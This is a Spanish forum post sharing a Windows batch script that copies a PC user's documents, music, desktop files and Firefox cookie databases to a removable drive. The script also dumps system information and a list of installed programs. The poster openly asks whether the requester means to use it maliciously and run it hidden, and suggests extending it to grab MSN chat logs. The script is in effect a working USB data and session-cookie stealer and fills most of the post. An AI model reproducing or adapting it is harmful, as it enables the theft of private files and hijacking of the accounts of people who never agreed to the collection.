Había escrito un mensaje aqui con un code bastante largo y se ha borrado por arte de magia...
(Problemas del foro?)
Por suerte aún guardaba una copia del script. :/
Bueno
Daniwxp11 lo que te dije en mi post borrado:
Se me olvidó preguntarte si el batch es para intenciones maliciosas.. .osea, si lo quieres ejecutar oculto. Y si el pendrive se debe detectar automáticamente o te da igual introducirlo manualmente.
Bueno, si necesitas algún cambio, Avisa.
PD: No tengo el MSN de microsoft instalado así que no puedo hacer esa parte del code porque no conozco las rutas de los registros del Msn y/o MSN Plus, pero puedes intentar hacerlo tú mismo de la misma manera que copio las cookies de firefox.
Saludos
@echo off
Rem By EleKtro H@cker
Rem Visita Foro.ElHacker.Net
Title Proyecto 1
Mode con cols=58 lines=30
Color 7
:Select
:::::
PUSHD "%WINDIR%\System32\"
Echo+
Echo Unidades disponibles
Echo ====================
Echo.
For /F "tokens=2-9 Delims=\ " %%a in ('fsutil fsinfo drives') do (
If "%%a" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%a)
If "%%b" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%b)
If "%%c" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%c)
If "%%d" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%d)
If "%%e" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%e)
If "%%f" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%f)
If "%%g" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%g)
)
Echo.
Echo elige la letra de la unidad de destino. (Ejemplo: C)
Echo.
set /p DEST=^>^>
If Not defined DEST (
CLS
Goto :Select
) ELSE (
Set DEST=%DEST:~0,1%
Set DEST=%DEST%:
)
If not exist "%Dest%" (
Echo+
Echo "%DEST%" Unidad no valida...
Ping -n 3 LocalHost >nul
Set Dest=
Cls
Goto :Select)
:Start
::::::
Cls
Echo+
Echo %ComputerName% (%username%)
Echo.
Echo Origen: %Homedrive%
Echo Destino: %Dest%
Echo.
Echo ==========================================================
Echo Copiando Mis documentos...
call :Copy %userprofile%\Documents
Echo.
Echo Copiando Mi m£sica...
call :Copy %userprofile%\Music
Echo.
Echo Copiando Escritorio...
call :Copy %userprofile%\Desktop
Echo.
Echo Copiando Fondo de escritorio...
call :Copy %appdata%\Microsoft\Windows\Themes
Echo.
Echo Copiando Cookies Firefox...
For /F "tokens=*" %%_ in ('Dir /B "%appdata%\Mozilla\Firefox\Profiles"') do (
MKdir "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\" >nul 2>&1
Copy /Y "%appdata%\Mozilla\Firefox\Profiles\%%_\Cookies.sq*" "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\" >nul 2>&1)
Echo.
Echo Copiando Conversaciones MSN...
Echo ... Mentira xD
Echo.
Echo Extrayendo Informacion del PC...
Systeminfo > "%DEST%\%ComputerName%\Info PC.txt"
Echo.
Echo Extrayendo Programas instalados...
Echo :Programas instalados: > "%DEST%\%ComputerName%\Programas instalados.txt"
Echo ====================== >>"%DEST%\%ComputerName%\Programas instalados.txt"
CALL :Reg HKLM
CALL :Reg HKCU
Goto :Fin
:SubRutinas:
::::::::::::
:Copy
Set "PATH=%*"
Set "PATH=%PATH::=%"
Xcopy /E /Y "%*" "%DEST%\%ComputerName%\%PATH%\" >nul 2>&1
Goto :EOF
:REG
Setlocal EnableDelayedexpansion
For /F "tokens=*" %%_ in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"') Do (
Set KeyName=%%_
Set KeyName=!KeyName:~71!
For /F "tokens=* Skip=2 delims=_" %%a in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\!KeyName!" /V "DisplayName" 2^>nul') Do (
Set Name=%%a
Set Name=!Name:~29!
Echo !NAME!>>"%DEST%\%ComputerName%\Programas instalados.txt"
)
)
Sort "%DEST%\%ComputerName%\Programas instalados.txt" /O "%DEST%\%ComputerName%\Programas instalados.txt"
Setlocal DisableDelayedexpansion
Goto :EOF
:Fin
::::
Echo.
Echo.
Echo.
Echo Informaci¢n guardada!! :)
Ping -n 5 LocalHost >nul
Exit
Autor
En línea
